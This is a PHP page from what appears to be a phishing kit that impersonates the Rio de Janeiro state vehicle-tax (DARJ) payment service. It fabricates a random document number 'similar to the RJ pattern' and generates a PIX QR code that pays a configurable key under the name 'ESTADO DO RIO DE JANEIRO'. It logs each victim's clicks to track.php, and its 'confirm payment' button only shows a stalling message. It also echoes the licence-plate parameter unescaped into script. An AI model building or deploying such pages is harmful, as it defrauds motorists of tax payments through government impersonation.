<?php
require_once __DIR__ . '/client-config.php';

$renavam = $_GET['renavam'] ?? '-';
$placa = $_GET['placa'] ?? '-';
$valor = (float)($_GET['valor'] ?? 0);
$nome = $_GET['nome'] ?? 'CONTRIBUINTE';

// Gerar número de documento aleatório similar ao padrão do RJ
$documento = "0".rand(1000000, 9999999)."-".rand(10, 99);
$vencimento = date('d/m/Y', strtotime('+1 day'));
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Resumo DARJ - Pagamento PIX</title>
    <link crossorigin="anonymous" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet"/>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/qrcode-generator@1.4.4/qrcode.min.js"></script>
    <style>
        body { background-color: #f8f9fa; font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica, Arial, sans-serif; }
        .p-dialog { max-width: 600px; margin: 2rem auto; background: white; border-radius: 6px; box-shadow: 0 11px 15px -7px rgba(0,0,0,.2), 0 24px 38px 3px rgba(0,0,0,.14), 0 9px 46px 8px rgba(0,0,0,.12); }
        .p-dialog-header { padding: 1.5rem; border-bottom: 1px solid #dee2e6; display:flex; align-items:center; justify-content:space-between; }
        .p-dialog-title { font-weight: 700; font-size: 1.25rem; color: #212529; }
        .p-dialog-content { padding: 1.5rem; }
        .gerar-pagamento-body { display: flex; width: 100%; border-radius: 3px; border: solid 2px #f8f8f8; margin-bottom: 1rem; }
        .coluna-dados { width: 35%; background-color: #f8f8f8; padding: 15px; border-right: 1px solid #eee; }
        .coluna-dados label { display: block; font-weight: 600; font-size: 12px; color: #666; text-transform: uppercase; margin-bottom: 2px; }
        .coluna-dados span { display: block; font-weight: 500; font-size: 14px; margin-bottom: 15px; color: #333; }
        .coluna-codigo-barra { width: 65%; padding: 15px; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .container-pix img { width: 180px; height: 180px; border: 1px solid #ddd; padding: 5px; background: white; }
        .btn-pix-copy { width: 100%; margin-top: 15px; font-weight: 600; text-transform: uppercase; }
        .loading-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255,255,255,0.9); z-index: 10000; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .spinner { width: 50px; height: 50px; border: 5px solid #f3f3f3; border-top: 5px solid #327dff; border-radius: 50%; animation: spin 1s linear infinite; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    </style>
</head>
<body>

<div class="loading-overlay" id="loadingOverlay">
    <div class="spinner"></div>
    <p class="mt-3 fw-bold">Gerando QR Code PIX...</p>
</div>

<div class="p-dialog">
    <div class="p-dialog-header">
        <span class="p-dialog-title">Resumo DARJ</span>
        <button onclick="window.history.back()" class="btn-close" aria-label="Close"></button>
    </div>
    <div class="p-dialog-content">
        <div class="gerar-pagamento-body">
            <div class="coluna-dados">
                <label>Contribuinte</label>
                <span><?php echo htmlspecialchars($nome); ?></span>
                
                <label>Documento</label>
                <span><?php echo $documento; ?></span>
                
                <label>Vencimento</label>
                <span><?php echo $vencimento; ?></span>
                
                <label>Total a Pagar</label>
                <span class="text-primary fw-bold" style="font-size: 18px;">R$ <?php echo number_format($valor, 2, ',', '.'); ?></span>
                
                <label>Renavam</label>
                <span><?php echo htmlspecialchars($renavam); ?></span>

                <label>Placa</label>
                <span><?php echo htmlspecialchars($placa); ?></span>
            </div>
            <div class="coluna-codigo-barra">
                <p class="text-center fw-bold small mb-2">Utilize o QR Code abaixo para realizar o pagamento via PIX:</p>
                <div class="container-pix" id="qrCodeContainer">
                    <!-- QR Code injected here -->
                </div>
                <button class="btn btn-primary btn-pix-copy" onclick="copyPixCode()">
                    <i class="fas fa-copy me-2"></i>Copiar Código PIX
                </button>
            </div>
        </div>
        
        <div class="alert alert-warning small mt-3">
            <i class="fas fa-exclamation-triangle me-2"></i>
            O pagamento via PIX é compensado instantaneamente. Após o pagamento, clique em "Confirmar Pagamento" para emitir o comprovante.
        </div>

        <div class="d-grid mt-4">
            <button class="btn btn-success btn-lg fw-bold" onclick="confirmarPagamento()">
                CONFIRMAR PAGAMENTO
            </button>
        </div>
    </div>
</div>

<textarea id="pixCodeHidden" style="position: absolute; left: -9999px;"></textarea>

<script>
let pixCode = '';

async function getPixConfig() {
    try {
        const response = await fetch('pix-config.php');
        const data = await response.json();
        return data.data || { pixKey: '', receiverName: 'ESTADO DO RIO DE JANEIRO', receiverCity: 'RIO DE JANEIRO' };
    } catch (e) {
        return { pixKey: '', receiverName: 'ESTADO DO RIO DE JANEIRO', receiverCity: 'RIO DE JANEIRO' };
    }
}

function pixTlv(id, value) {
    const v = String(value ?? '');
    return id + v.length.toString().padStart(2, '0') + v;
}

function crc16Ccitt(str) {
    let crc = 0xFFFF;
    for (let i = 0; i < str.length; i++) {
        crc ^= (str.charCodeAt(i) << 8);
        for (let j = 0; j < 8; j++) {
            if ((crc & 0x8000) !== 0) crc = ((crc << 1) ^ 0x1021) & 0xFFFF;
            else crc = (crc << 1) & 0xFFFF;
        }
    }
    return crc.toString(16).toUpperCase().padStart(4, '0');
}

function buildPixPayload({ pixKey, receiverName, receiverCity, amount, txid = '***' }) {
    const key = (pixKey || '').trim();
    const name = (receiverName || 'PAGAMENTO').trim().toUpperCase().normalize('NFD').replace(/[\u0300-\u036f]/g, '').replace(/[^A-Z0-9 ]/g, '').substring(0, 25);
    const city = (receiverCity || 'SAO PAULO').trim().toUpperCase().normalize('NFD').replace(/[\u0300-\u036f]/g, '').replace(/[^A-Z0-9 ]/g, '').substring(0, 15);
    
    const merchantAccountInfo = pixTlv('00', 'br.gov.bcb.pix') + pixTlv('01', key);
    const amountPart = amount > 0 ? pixTlv('54', amount.toFixed(2)) : '';
    const additionalData = pixTlv('62', pixTlv('05', txid.substring(0, 25)));

    const payloadNoCrc = pixTlv('00', '01') + pixTlv('01', '12') + pixTlv('26', merchantAccountInfo) + 
                         pixTlv('52', '0000') + pixTlv('53', '986') + amountPart + 
                         pixTlv('58', 'BR') + pixTlv('59', name) + pixTlv('60', city) + 
                         additionalData + '6304';

    return payloadNoCrc + crc16Ccitt(payloadNoCrc);
}

async function init() {
    const config = await getPixConfig();
    if (!config.pixKey) {
        alert('Configuração PIX não encontrada.');
        $('#loadingOverlay').hide();
        return;
    }

    const valor = <?php echo $valor; ?>;
    const txId = 'RJ' + Date.now().toString().slice(-10);
    
    pixCode = buildPixPayload({
        pixKey: config.pixKey,
        receiverName: config.receiverName,
        receiverCity: config.receiverCity,
        amount: valor,
        txid: txId
    });

    $('#pixCodeHidden').val(pixCode);
    
    const qr = qrcode(0, 'M');
    qr.addData(pixCode);
    qr.make();
    $('#qrCodeContainer').html(qr.createImgTag(6, 0));
    
    setTimeout(() => $('#loadingOverlay').fadeOut(), 500);
}

function copyPixCode() {
    const el = document.getElementById('pixCodeHidden');
    el.select();
    document.execCommand('copy');
    alert('Código PIX copiado!');
    
    // Tracking
    fetch('./track.php', {
        method: 'POST',
        body: JSON.stringify({ action: 'pix_copiado', metadata: { placa: '<?php echo $placa; ?>' } })
    }).catch(() => {});
}

function confirmarPagamento() {
    alert('Pagamento em análise. O seu documento será liberado em breve.');
    
    // Tracking
    fetch('./track.php', {
        method: 'POST',
        body: JSON.stringify({ action: 'pix_confirmado', metadata: { placa: '<?php echo $placa; ?>' } })
    }).catch(() => {});
}

$(document).ready(init);
</script>

</body>
</html>
